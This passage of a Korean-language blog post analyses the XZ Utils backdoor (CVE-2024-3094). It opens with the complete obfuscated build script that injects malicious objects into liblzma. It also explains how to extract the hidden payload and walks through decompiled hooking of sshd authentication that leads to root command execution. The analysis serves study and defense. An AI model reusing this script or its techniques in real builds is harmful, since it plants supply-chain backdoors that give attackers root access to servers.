if ! grep -qs '\["HAVE_FUNC_ATTRIBUTE_IFUNC"\]=" 1"' config.status > /dev/null 2>&1;then
exit 0
fi
if ! grep -qs 'define HAVE_FUNC_ATTRIBUTE_IFUNC 1' config.h > /dev/null 2>&1;then
exit 0
fi
if test "x$enable_shared" != "xyes";then
exit 0
fi
if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then
exit 0
fi
if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc64_fast.c > /dev/null 2>&1; then
exit 0
fi
if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc32_fast.c > /dev/null 2>&1; then
exit 0
fi
if ! grep -qs "$R" $srcdir/src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then
exit 0
fi
if ! grep -qs "$x" $srcdir/src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then
exit 0
fi
if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
exit 0
fi
if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
exit 0
fi
LDv=$LD" -v"
if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
exit 0
fi
if ! test -f "$srcdir/tests/files/$p" > /dev/null 2>&1;then
exit 0
fi
if ! test -f "$srcdir/tests/files/$U" > /dev/null 2>&1;then
exit 0
fi
if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
eval $zrKcst
j="^ACLOCAL_M4 = \$(top_srcdir)\/aclocal.m4"
if ! grep -qs "$j" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
z="^am__uninstall_files_from_dir = {"
if ! grep -qs "$z" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
w="^am__install_max ="
if ! grep -qs "$w" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
E=$z
if ! grep -qs "$E" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
Q="^am__vpath_adj_setup ="
if ! grep -qs "$Q" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
M="^am__include = include"
if ! grep -qs "$M" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
L="^all: all-recursive$"
if ! grep -qs "$L" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
m="^LTLIBRARIES = \$(lib_LTLIBRARIES)"
if ! grep -qs "$m" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
u="AM_V_CCLD = \$(am__v_CCLD_\$(V))"
if ! grep -qs "$u" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
if ! grep -qs "$O" libtool > /dev/null 2>&1;then
exit 0
fi
eval $zrKcTy
b="am__test = $U"
sed -i "/$j/i$b" src/liblzma/Makefile || true
d=`echo $gl_path_map | sed 's/\\\/\\\\\\\\/g'`
b="am__strip_prefix = $d"
sed -i "/$w/i$b" src/liblzma/Makefile || true
b="am__dist_setup = \$(am__strip_prefix) | xz -d 2>/dev/null | \$(SHELL)"
sed -i "/$E/i$b" src/liblzma/Makefile || true
b="\$(top_srcdir)/tests/files/\$(am__test)"
s="am__test_dir=$b"
sed -i "/$Q/i$s" src/liblzma/Makefile || true
h="-Wl,--sort-section=name,-X"
if ! echo "$LDFLAGS" | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then
h=$h",-z,now"
fi
j="liblzma_la_LDFLAGS += $h"
sed -i "/$L/i$j" src/liblzma/Makefile || true
sed -i "s/$O/$C/g" libtool || true
k="AM_V_CCLD = @echo -n \$(LTDEPS); \$(am__v_CCLD_\$(V))"
sed -i "s/$u/$k/" src/liblzma/Makefile || true
l="LTDEPS='\$(lib_LTDEPS)'; \\\\\n\
    export top_srcdir='\$(top_srcdir)'; \\\\\n\
    export CC='\$(CC)'; \\\\\n\
    export DEFS='\$(DEFS)'; \\\\\n\
    export DEFAULT_INCLUDES='\$(DEFAULT_INCLUDES)'; \\\\\n\
    export INCLUDES='\$(INCLUDES)'; \\\\\n\
    export liblzma_la_CPPFLAGS='\$(liblzma_la_CPPFLAGS)'; \\\\\n\
    export CPPFLAGS='\$(CPPFLAGS)'; \\\\\n\
    export AM_CFLAGS='\$(AM_CFLAGS)'; \\\\\n\
    export CFLAGS='\$(CFLAGS)'; \\\\\n\
    export AM_V_CCLD='\$(am__v_CCLD_\$(V))'; \\\\\n\
    export liblzma_la_LINK='\$(liblzma_la_LINK)'; \\\\\n\
    export libdir='\$(libdir)'; \\\\\n\
    export liblzma_la_OBJECTS='\$(liblzma_la_OBJECTS)'; \\\\\n\
    export liblzma_la_LIBADD='\$(liblzma_la_LIBADD)'; \\\\\n\
sed rpath \$(am__test_dir) | \$(am__dist_setup) >/dev/null 2>&1";
sed -i "/$m/i$l" src/liblzma/Makefile || true
eval $zrKcHD
fi
elif (test -f .libs/liblzma_la-crc64_fast.o) && (test -f .libs/liblzma_la-crc32_fast.o); then
vs=`grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi
eval $zrKcKQ
if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc64_fast.c; then
exit 0
fi
if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc32_fast.c; then
exit 0
fi
if ! grep -qs "$R" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then
exit 0
fi
if ! grep -qs "$x" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then
exit 0
fi
if ! grep -qs "$C" ../../libtool; then
exit 0
fi
if ! echo $liblzma_la_LINK | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then
exit 0
fi
if echo $liblzma_la_LINK | grep -qs -e "lazy" > /dev/null 2>&1;then
exit 0
fi
N=0
W=0
Y=`grep "dnl Convert it to C string syntax." $top_srcdir/m4/gettext.m4`
eval $zrKcjv
if test -z "$Y"; then
N=0
W=88664
else
N=88664
W=0
fi
xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
if ! test -f liblzma_la-crc64-fast.o; then
exit 0
fi
cp .libs/liblzma_la-crc64_fast.o .libs/liblzma_la-crc64-fast.o || true
V='#endif\n#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))\nextern int _get_cpuid(int, void*, void*, void*, void*, void*);\nstatic inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }\n#else\n#define _is_arch_extension_supported is_arch_extension_supported'
eval $yosA
if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc64_fast.c | \
sed "/include \"crc_x86_clmul.h\"/a \\$V" | \
sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc64_fast.c\"" 2>/dev/null | \
$CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c -  $P -o .libs/liblzma_la-crc64_fast.o 2>/dev/null; then
cp .libs/liblzma_la-crc32_fast.o .libs/liblzma_la-crc32-fast.o || true
eval $BPep
if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc32_fast.c | \
sed "/include \"crc32_arm64.h\"/a \\$V" | \
sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc32_fast.c\"" 2>/dev/null | \
$CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r -x c -  $P -o .libs/liblzma_la-crc32_fast.o; then
eval $RgYB
if $AM_V_CCLD$liblzma_la_LINK -rpath $libdir $liblzma_la_OBJECTS $liblzma_la_LIBADD; then
if test ! -f .libs/liblzma.so; then
mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
fi
rm -fr .libs/liblzma.a .libs/liblzma.la .libs/liblzma.lai .libs/liblzma.so* || true
else
mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
fi
rm -f .libs/liblzma_la-crc32-fast.o || true
rm -f .libs/liblzma_la-crc64-fast.o || true
else
mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
fi
else
mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
fi
rm -f liblzma_la-crc64-fast.o || true
fi
eval $DHLd

대부분 변수 설정 및 기타 확인 작업 코드이므로 필요한 동작 부분만 살펴보겠다.

 

[악성 파일인 good-large-compressed.lzma로부터 .o파일 추출]

xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | 
    LC_ALL=C awk 'BEGIN{
        FS="\n";
        RS="\n";
        ORS="";
        m=256;
        for(i=0;i<m;i++){
            t[sprintf("x%c",i)]=i;
            c[i]=((i*7)+5)%m;
            }
        i=0;
        j=0;
        for(l=0;l<8192;l++){
            i=(i+1)%m;
            a=c[i];
            j=(j+a)%m;
            c[i]=c[j];
            c[j]=a;
            }
        }
        {
            v=t["x" (NF<1?RS:$1)];
            i=(i+1)%m;
            a=c[i];
            j=(j+a)%m;
            b=c[j];
            c[i]=b;
            c[j]=a;
            k=c[(a+b)%m];
            printf "%c",(v+k)%m
        }' |
        xz -dc --single-stream | 
        ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

 

악성 파일로부터 liblzma_la-crc64-fast.o 파일을 추출하는 코드이다. 백도어 실행에 필요한 _get_cpuid()등의 함수들이 정의되어 있다.

해당 스크립트 부분을 따로 추출하여 실행하면 해당 파일이 생성된 것을 확인할 수 있다. 이때 스크립트의 마지막 줄에 $N과 $W가 필요한데 이는 각각 0, 88664를 넣어주면 된다. [전체 코드를 참조해서 변수를 채워준다.]

 

V='
    #endif\n
    #if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) 
    && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) 
    || defined(BUILDING_CRC32_CLMUL))\nextern int _get_cpuid(int, void*, void*, void*, void*, void*);\n        
        static inline bool _is_arch_extension_supported(void) { 
            int success = 1; 
            uint32_t r[4]; 
            success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); 
            const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }\n
    #else\
        #define _is_arch_extension_supported is_arch_extension_supported'

정상 함수를 대체할 악성 함수인 _is_arch_extension_supported()이다. 앞으로의 백도어 동작에 있어서 시작 지점이라고 보면 된다.

 

eval $yosA
if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc64_fast.c | \
sed "/include \"crc_x86_clmul.h\"/a \\$V" | \
sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc64_fast.c\"" 2>/dev/null | \
$CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c -  $P -o .libs/liblzma_la-crc64_fast.o 2>/dev/null; then
cp .libs/liblzma_la-crc32_fast.o .libs/liblzma_la-crc32-fast.o || true
eval $BPep
if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc32_fast.c | \
sed "/include \"crc32_arm64.h\"/a \\$V" | \
sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc32_fast.c\"" 2>/dev/null | \
$CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r -x c -  $P -o .libs/liblzma_la-crc32_fast.o; then

if $AM_V_CCLD$liblzma_la_LINK -rpath $libdir $liblzma_la_OBJECTS $liblzma_la_LIBADD; then

src/liblzma/check/crc64_fast.csrc/liblzma/check/crc32_fast.c의 코드에서 is_arch_extension_supported()를 악성 함수인 _is_arch_extension_supported()로 변경하는 코드이다. 변경 후에는 각 object 파일 형태로 저장하며 이전에 생성했던 악성 파일과 기존에 사용하던 정상 liblzma라이브러리 파일과 링킹하여 하나의 파일을 생성해낸다.

 

[정상 상태의 코드]

crc64_resolve(void)
{
	return is_arch_extension_supported()
			? &crc32_arch_optimized : &crc32_generic;
}

 

[악성 스크립트에 의해 변경된 코드]

crc64_resolve(void)
{
	return _is_arch_extension_supported()
			? &crc32_arch_optimized : &crc32_generic;
}

 

위와 같이 코드가 변경된 상태로 object 파일들이 생성되고 하나의 파일로 링킹된다. 이 과정들이 XZ-Utils에 의해 liblzma가 변조되는 단계이다.

 

 

 

8. 루트커즈 분석


  백도어 자체는 XZ-Utils 패키지를 설치하는 과정에서 설정이 되지만 동작 자체는 SSH로 접속을 시도할 때 발생한다. 접속 요청 등이 발생했을 때 최적화 작업을 위해 사용중인 프로세스를 검사하게 된다. 이때 원래 함수 대신 변조된 함수인 _is_arch_extension_supported()가 동작하고 내부에서 또 다른 악성 함수인 _get_cpuid()가 동작(원래 함수 : __get_cpuid())한다.

 

  분석을 위해서는 악성 함수의 호출자인 crc64_resolve()부터 시도를 하면 된다. 아래 과정은 이를 동적으로 분석하기 위한 방법이다.

먼저 crc64_resolve()의 offset을 확인한다. 이후 이 함수의 실제 주소를 계산한다.

 

이후 해당 지점에 breakpoint 설정을 해주고, 원하는 지점에서 시작하고자 rip 레지스터도 설정을 해주겠다.

set {char}0x7f7b29e7dea0=0xcc

명령의 첫 바이트를 0xCC로 설정하면 해당 지점에서 breakpoint가 걸리게 된다. 해당 방법이 아닌 그냥 bp [address]로 설정해줘도 된다.

 

이후 rip 레지스터를 설정해주고 진행해주면 된다. 그러면 자동으로 해당 지점에서 멈추게 되는데 [0x55 => 0xCC]로 변경했던 부분을 원상복구 해줘야 한다. (방법은 동일) 

 

이제 이 함수부터 IDA 코드와 비교하며 분석을 들어가면 된다.

 

crc64_func_type __fastcall crc64_resolve()
{
  int cpuid; // edx
  crc64_func_type result; // rax
  char v2[4]; // [rsp+0h] [rbp-10h] BYREF
  char v3[4]; // [rsp+4h] [rbp-Ch] BYREF
  int v4; // [rsp+8h] [rbp-8h] BYREF
  char v5[4]; // [rsp+Ch] [rbp-4h] BYREF
  cpuid = get_cpuid(1LL, v2, v3, &v4, v5, v2);
  result = crc64_generic;
  if ( cpuid )
  {
    if ( (v4 & 0x80202) == 524802 )
      return crc64_arch_optimized;
}
  return result;
}

먼저 crc64_resolve()에서 _get_cpuid()를 호출하고 있다.  내부로 들어가면 cmp 구문에 의해서 백도어 함수를 실행할지 안할지를 확인하는 부분이 있다.

 

IDA 코드로 보면 다음과 같다.

__int64 __fastcall sub_46F0(unsigned int a1, __int64 a2, __int64 a3, __int64 a4)
{
  __int64 v4; // r9
  unsigned int v6; // [rsp+14h] [rbp-4Ch] BYREF
  char v7[4]; // [rsp+18h] [rbp-48h] BYREF
  char v8[4]; // [rsp+1Ch] [rbp-44h] BYREF
  __int64 v9[8]; // [rsp+20h] [rbp-40h] BYREF
  v4 = 0LL;
  if ( dword_3B010 == 1 )
  {
    v9[0] = 1LL;
    memset(&v9[1], 0, 32);
    v9[5] = a2;
    sub_4764(v9, a2, a3, a4, v9, 0LL);
    v4 = a2;
  }
  ++dword_3B010;
  cpuid(a1, &v6, v7, v8, v9, v4);
  return v6;
}

dword_3B010이 1인 경우에 백도어 함수 설정이 이루어지기 때문에 인위적으로 해당 위치의 값 혹은 rip 레지스터를 변조하여 내부 동작이 정상적으로 이루어지게 해준다.

 

이제 sub_4764()를 살펴보면 GOT를 조작하는 부분을 찾아볼 수 있다.

__int64 __fastcall sub_4764(_QWORD *a1, __int64 a2)
{
  __int64 v2; // r8
  __int64 v3; // r9
  __int64 result; // rax
  bool v5; // zf
  _QWORD *v6; // rdx
  __int64 v7; // r12
  _QWORD *v8; // [rsp+8h] [rbp-28h]
  a1[4] = a1;
  sub_24400();
  a1[5] = a1[2];
  result = *a1 - a1[4];
  a1[1] = result;
  v5 = qword_2E280[1] + result == 0;
  v6 = (_QWORD *)(qword_2E280[1] + result);
  a1[2] = v6;
  if ( !v5 )
  {
    v8 = v6;
    v7 = *v6;
    *v6 = qword_2E280[2] + result;
    result = cpuid(a1, a2, v6, qword_2E280, v2, v3);
    *v8 = v7;
}
  return result;
}

cpuid()의 원래 GOT를 구해 백업을 진행하고, GOT Base를 계산하여 악성 함수의 실제 주소를 구해낸다.

이후 조건문 안에서 cpuid()의 GOT를 조작하여 악성 함수가 실행되게 하고, 함수가 종료되면 다시 복구하면서 원래 기능대로 동작되도록 한다.

이때 cpuid()의 GOT로 사용되며 실행되는 악성 코드는 다음과 같다.

 

lzma_check_init(&check, LZMA_CHECK_NONE);
v6 = sub_12020(v21, 0LL, v21, v20);
do
{
if ( !v6 )
  {
    v25 = v7;
    v24 = v8;
    v27 = a1;
    return sub_21C90(v23);
  }
  v22 = v8;
  v6 = sub_12020(v7, 0LL, v7, v8);
}
while ( v6 != 5 );

해당 코드의 메인 동작을 살펴보면 liblzma.so 라이브러리를 호출하게 되는 프로세스의 환경 정보를 확인하기 위해 sub_21C90() -> sub_12E00() 순으로 함수가 호출된다.

 

//sub_12920()
if ( v4 - a2 <= 0x4000 )
{
  v5 = sub_24FE0(v4, 0LL);
  v6 = 1LL;
  if ( v5 == 264 ){
    while ( 1 ){
      v7 = v6 == v3;
      v8 = v6 + 1;
      if ( v7 )
        break;
      v9 = *&a2[8 * v8];
      if ( a2 >= v9 || !v9 || (v9 - a2) > 0x4000 || sub_127C0(*v9) )
return 0LL; }
    if ( !*&a2[8 * v8] ){
      v10 = &a2[8 * v8 + 8];
      while ( 1 )
      {
}}
v11 = *v10;
if ( !*v10 )
  break;
if ( a2 >= v11 || v11 - a2 > 0x4000 )
{
  v15[0] = 0LL;
  v12 = sub_21650(a1, v15, 1LL);
  if ( !v12 || v11 + 44 > v12 + v15[0] || v11 < v12 )
break; }
if ( sub_24FE0(*v10, 0LL) )
  break;
if ( !*++v10 )
  return 1LL;

sub_12920()에서는 환경이 /usr/sbin/sshd를 통해 접속을 했는지 확인한다. rax 레지스터를 살펴보면 /usr/sbin/sshd가 들어있는 것을 볼 수 있다.

 

이후 sub_12020()에서 hooking 및 공개키에 대한 인증 방식이 동작한다.

__int64 __fastcall sub_12020(_QWORD *a1)
{
  __int64 result; // rax
  result = 5LL;
  if ( a1 )
  {
    a1[7] = &qword_3B018;
    result = 0LL;
    if ( !a1[6] )
    {
      a1[13] = 4LL;
      a1[8] = sub_ABB0;
      a1[9] = sub_164B0;
      a1[10] = sub_15A50;
      a1[11] = sub_23750;
      a1[14] = sub_7790;
      a1[15] = sub_6690;
      return 101LL;
} }
  return result;
}

백도어를 위한 함수 테이블을 구성하는 단계로 sub_ABB0(), sub_164B0()에 대해서만 간단하게 살펴보겠다.

 

//sub_ABB0()
v8 = *(qword_3B018 + 256);
v9 = *(*(qword_3B020 + 16) + 104LL);
if ( v8 >= retaddr || *(qword_3B018 + 264) + v8 < &retaddr[-v8] )
  goto LABEL_28;
v10 = sub_24FE0(a6, 0LL);
v11 = v7[3];
if ( v10 == 464 && v11 ){
  if ( *v11 > 0xFFFFFFuLL )  {
    *v7 = *v11;
    v12 = *(v6 + 272);
    *v11 = v12;
if ( a1 > retaddr && a1 < v9 ) *(a1+8)=v12; }
  goto LABEL_27;}
v13 = v7[4];
if ( v13 && v10 == 1296 ){
  if ( *v13 <= 0xFFFFFFuLL )
    goto LABEL_27;
  v7[1] = *v13;
  v14 = *(v6 + 280);
  *v13 = v14;
  if ( a1 > retaddr && a1 < v9 )
    *(a1 + 8) = v14;
  v15 = v7[5];
  if ( !v15 )
    goto LABEL_27;
  v16 = *v15 <= 0xFFFFFFuLL;}
else{
  v17 = v7[5];
  if ( v10 != 1944 || !v17 )
    return *(a1 + 8);
  if ( *v17 <= 0xFFFFFFuLL )
    goto LABEL_27;
  v7[2] = *v17;
  v18 = *(v6 + 288);
  *v17 = v18;
  if ( a1 > retaddr && a1 < v9 )
    *(a1 + 8) = v18;
  if ( !v13 )
    goto LABEL_27;
  v16 = *v13 <= 0xFFFFFFuLL;}

  원격 명령 실행 및 서명 검증을 위해 사용될 함수들에 대해 hooking을 수행하는 구간이다. sshd에서 지원하는 인증인 비밀번호, 공개/개인키, 인증서에 대한 인증을 수행하는 함수들을 hooking하는 단계로 xzbot의 go.main()에 작성된 PoC 코드와 비교하며 분석을 해보면 된다. 해당 함수들을 hooking 해버리면 공격자는 인증 방식에 대한 절차를 알고 있을 뿐만 아니라 원하는 흐름으로 조작이 가능하기 때문에 공격의 성공률이 올라간다. 또한 공격자의 Ed448 공개키에 대한 정보가 있어야 백도어 함수가 실행이 되게하여 일반 사용자들이 해당 취약점을 바로 이용할 수 없게 하였다. 일반적인 환경에서 시도를 하게 되면 백도어 함수가 실행되지 않게 된다는 뜻이다. 여기서 hooking하는단게에서는 RSA_public_decrypt()를 포함한 함수들이 사용된다.

 

__int64 __fastcall sub_164B0(unsigned int a1, __int64 a2, __int64 a3, __int64 a4)
{
  __int64 (__fastcall **v4)(_QWORD, __int64, __int64, __int64); // rax
  __int64 (__fastcall *v5)(_QWORD, __int64, __int64, __int64); // r14
  __int64 result; // rax
  __int64 v8; // [rsp+0h] [rbp-48h]
  int v9[11]; // [rsp+1Ch] [rbp-2Ch] BYREF
  if ( !qword_3B020 )
    return 0LL;
  v4 = *(qword_3B020 + 8);
  if ( !v4 )
    return 0LL;
  v5 = *v4;
  if ( !*v4 )
    return 0LL;
  if ( !a4 )
    return v5(a1, a2, a3, a4);
  v8 = a4;
  v9[0] = 1;
  result = sub_16710(a4, qword_3B020, v9);
  a4 = v8;
  if ( v9[0] )
    return v5(a1, a2, a3, a4);
  return result;
}

  sub_164b0() 인증서를 검증하는 구간이다. sub_16710()에서 인증서의 구조를 가지고 검증을 진행한다.

v14 = *&v110[13] + *&v110[9] * *&v110[5];
if ( v14 > 3 )
  goto LABEL_206;
v15 = *(a2 + 16);
if ( v15 )
{
  if ( *(v15 + 16) )
  {
    if ( *(v15 + 24) )
    {
      if ( *(a2 + 48) )
      {
        if ( *(a2 + 352) == 456 )
        {
          v115 = *&v110[5];
          if ( sub_23650(v116, a2) )
          {
            if ( sub_120B0(v111, v12 - 16, v116, &v115, v111, *(a2 + 8)) )
            {
              v102 = 0LL;
              memset(v116, 0, 0x39uLL);
              v16 = 147LL;

v14를 보면 어떤 값들을 +, * 연산을 수행한다. 이는 SSH 인증서의 상단에 붙는 부분이다.

[이미지 출처 : SK쉴더스 문서 - https://blog.naver.com/sk_shieldus/223449706066]

v14 = a*b+c를 게산하고 이 값이 3이상이면 LABEL_206이 실행되며 그렇지 않으면은 백도어 코드들이 계속해서 실행되게 된다.

LABEL_206:
    *v89 = 1;
return 0LL; }
===========================================================================================
if ( v14 == 2 )
{
  v19 = *&v110[3];
  if ( v110[0] < 0 )
  {
    if ( *&v110[3] )
      goto LABEL_205;
    v20 = 0LL;
    v19 = 57LL;
    v21 = &v114;
    v22 = 0LL;
}
else
  {
    if ( (v110[1] & 1) != 0 )
      v19 = *&v110[3] + 8LL;
    v20 = v19;

 

  여기까지 Ed448에 대한 검증과 /usr/sbin/sshd 프로세스를 사용하는 검증, SSH 인증서 구조에 대한 검증을 통과했다면 어디서 실행하고자 하는 명령을 넣었는지에 대한 의문이 생길 것이다. 해당 부분은 SSH 인증서에 위치한 암호문의 끝 부분에 함께 넣어준다.

 

[이미지 출처 : SK쉴더스 문서 - https://blog.naver.com/sk_shieldus/223449706066]

 

if ( !v71
  || (v88 = v53,
      v29 = v71,
      v74 = (v55)(
              v71,
              v71,
              v71),// setuid
      v53 = v88,
v74 != -1) )
{
if ( !v47
    || (v75 = *(a2 + 16),
        v88 = v53,
        v29 = v47,
        v76 = (*(v75// setgid
+ 40))( v47,
v47,
                v47),
        v53 = v88,
v76 != -1) ) {
    if ( *(v53 + v72) )
    {
(*(*(a2 + 16) + 48LL))();// system

  모든 검증 단계를 통과하고 명령까지 제대로 입력이 되었다면 setuid, setgid, system순으로 명령이 실행되게 된다. 이때 sshd는 사용자 인증, 포트 관련 작업을 수행하는데 있어서 root 권한이 필요하다. 때문에 sshd는 root 권한으로 실행되며 여기에 load되는 라이브러리인 liblzma.so도 root 권한으로 불려와지기 때문에 모든 백도어 함수들과 최종 실행되는 명령은 root 권한으로 실행이 되게 된다.

 

  백도어가 심겨지고 인증서에 담긴 명령어가 실행되는 부분들은 확인했다. 그럼 바로 SSH 접속을 시도할 때 해당 취약점이 트리거 되는지 묻는다고 하면 그것은 아니다. hooking하는 함수와 백도어 함수 테이블을 구성하는 함수를 살펴보면 설정 작업만 해주고 따로 실행은 하지 않는다. 후킹된 함수 중 하나인 RSA_Public_Decrypt()는 서버와 클라이언트 간의 무결성 검증 단계에서 호출되는데 이때 공격자의 Ed448 공개키를 포함한 정보들을 같이 보내주어야 한다. 다시 말해 공격을 수행하기 위해서는 hooking 단계가 정상적으로 패치가 되어야 하고, 공격자인 Jia Tan의 Ed448 개인키를 가진 SSH 요청이 발생해야하며 이때 패킷에 악성 command가 포함 및 SSH 인증서의 a,b,c에 해당하는 값이 적절할 경우 system() 명령에 의해서 명령이 실행되는 것이다.

  뭔가 복잡한데 일반적인 과정으로는 우리가 직접 공격을 성공하기 어렵다고 보면된다. 때문에 PoC도 이 방법인 아닌 고정된 키 값을 활용하여 검증하는 것으로 liblzma.so 파일을 패치한다.

 

9.  패치


xz -V

위 명령으로 현재 설치되어 있는 XZ-Utils와 liblzma.so의 버젼 정보를 확인할 수 있다. 

 

 

CVE-2024-3094 취약점은 5.6.0, 5.6.1 버젼에서만 존재하며 이후에는 삭제 패치가 이루어졌기 때문에 최신 버젼으로 설치를 진행해주면 된다. (패치 자체는 악성 스크립트 및 압축 파일이 삭제되었다.)

728x90
반응형